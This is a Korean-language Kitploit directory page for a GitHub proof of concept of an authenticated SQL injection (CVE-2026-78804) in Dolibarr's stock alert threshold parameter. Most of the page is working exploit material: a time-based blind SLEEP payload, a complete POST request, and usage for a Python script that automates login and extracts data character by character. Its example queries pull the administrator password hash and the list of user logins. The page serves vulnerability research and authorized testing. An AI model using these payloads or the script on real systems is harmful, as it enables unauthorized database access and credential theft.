Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
Vulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubrepo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

창고별 재고 경고 임계값(`seuil_stock_alerte`)을 설정하는 작업이 사용자 제어 입력을 받아들이고, 이후 적절한 숫자 형변환 또는 매개변수 바인딩 없이 이를 SQL 쿼리에 포함시킵니다. #dolibarr #exploit

저장소 보기
17시간 5분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Dolibarr — 인증된 SQL 인젝션 PoC

seuil_stock_alerte 파라미터를 통해 제품 재고 관리 기능에 영향을 미치는 SQL 인젝션입니다.

영향받는 버전

다음 버전에서 테스트 및 확인되었습니다:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (신고 시점까지 동작함)

취약한 파라미터

seuil_stock_alerte

이 파라미터는 다음에서 허용됩니다:

root@kitploit:~
/product/stock/product.php

addlimitstockwarehouse 액션을 사용합니다.

익스플로잇

이 파라미터는 숫자 변환 없이 검색됩니다:

root@kitploit:~
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

이후 직접 문자열 연결을 통해 SQL 문에 도달합니다:

root@kitploit:~
$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

값이 따옴표로 묶이지 않은 숫자 컨텍스트에 삽입되므로, 일반 숫자 값 대신 SQL 표현식을 제공할 수 있습니다.

시간 기반 블라인드 SQL 인젝션

불리언/시간 기반 표현식만으로도 실행을 입증하기에 충분합니다:

root@kitploit:~
(SELECT IF((1=1),SLEEP(15),0))

예시 파라미터:

root@kitploit:~
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

성공적인 요청은 약 15초의 HTTP 응답 지연을 발생시키며, 이는 주입된 SQL 표현식의 평가를 확인시켜 줍니다.

취약한 요청

취약한 액션은 다음과 유사한 인증된 요청으로 도달할 수 있습니다:

root@kitploit:~
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

요구 사항:

  • 유효한 인증 세션
  • CSRF 토큰 (제품 카드 페이지에서 추출)
  • 제품 ID
  • 창고 ID

인증 및 권한

이 문제는 다음 권한만 가진 인증된 계정으로 재현되었습니다:

root@kitploit:~
Product → Create (produit/creer)

권한 — 제품을 생성할 수 있는 낮은 권한의 계정입니다.

영향

이 SQL 인젝션은 다음을 가능하게 합니다:

  1. 블라인드 시간 기반 SQL 인젝션 — SLEEP 지연을 통해 쿼리 실행 가능
  2. 정보 노출 — 데이터베이스 내용을 문자 단위로 유출 가능
  3. 잠재적 권한 상승 — 관리자 자격 증명 또는 민감한 데이터 추출
  4. 데이터베이스 정찰 — 오류 또는 시간 기반 방법을 통한 스키마 열거

이 시스템의 데이터베이스 수준 제약으로 인해 직접적인 OS 명령 실행은 방지되었습니다.

익스플로잇 도구

함께 제공되는 PoC 스크립트 stock_sqli_poc.py는 익스플로잇 과정을 자동화합니다:

사용법

root@kitploit:~
python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

기능

  • 자동 로그인 — 대상에 인증
  • 인젝션 확인 — 테스트 페이로드(1=1 vs 1=2)로 SQL 인젝션 검증
  • 이진 검색 추출 — ASCII 비교를 사용하여 문자 단위로 데이터를 효율적으로 추출
  • 프록시 지원 — Burp Suite 또는 기타 HTTP 프록시와 통합
  • 구성 가능한 지연 — 안정성을 위해 SLEEP 지속 시간 조정

명령줄 옵션

옵션기본값설명
--urlhttp://127.0.0.1:8088대상 Dolibarr 인스턴스 URL
--proxyhttp://127.0.0.1:8080HTTP 프록시 (Burp 등). 비활성화하려면 빈 문자열로 설정
--loginwebeditor낮은 권한 계정의 사용자 이름
--passwordWebEdit0r!계정 비밀번호
--product-id1대상 제품 ID
--warehouse-id1대상 창고 ID
--delay1.0시간 기반 탐지를 위한 SLEEP 지속 시간(초)
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)유출할 SQL 표현식
--length14추출할 최대 문자 길이

추출 예시

관리자 비밀번호 해시 추출:

root@kitploit:~
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

사용자 열거:

root@kitploit:~
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

데이터베이스 버전:

root@kitploit:~
--extract "VERSION()"

현재 데이터베이스 사용자:

root@kitploit:~
--extract "USER()"

⚠️ 법적 고지: 이 익스플로잇은 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

도구 다운로드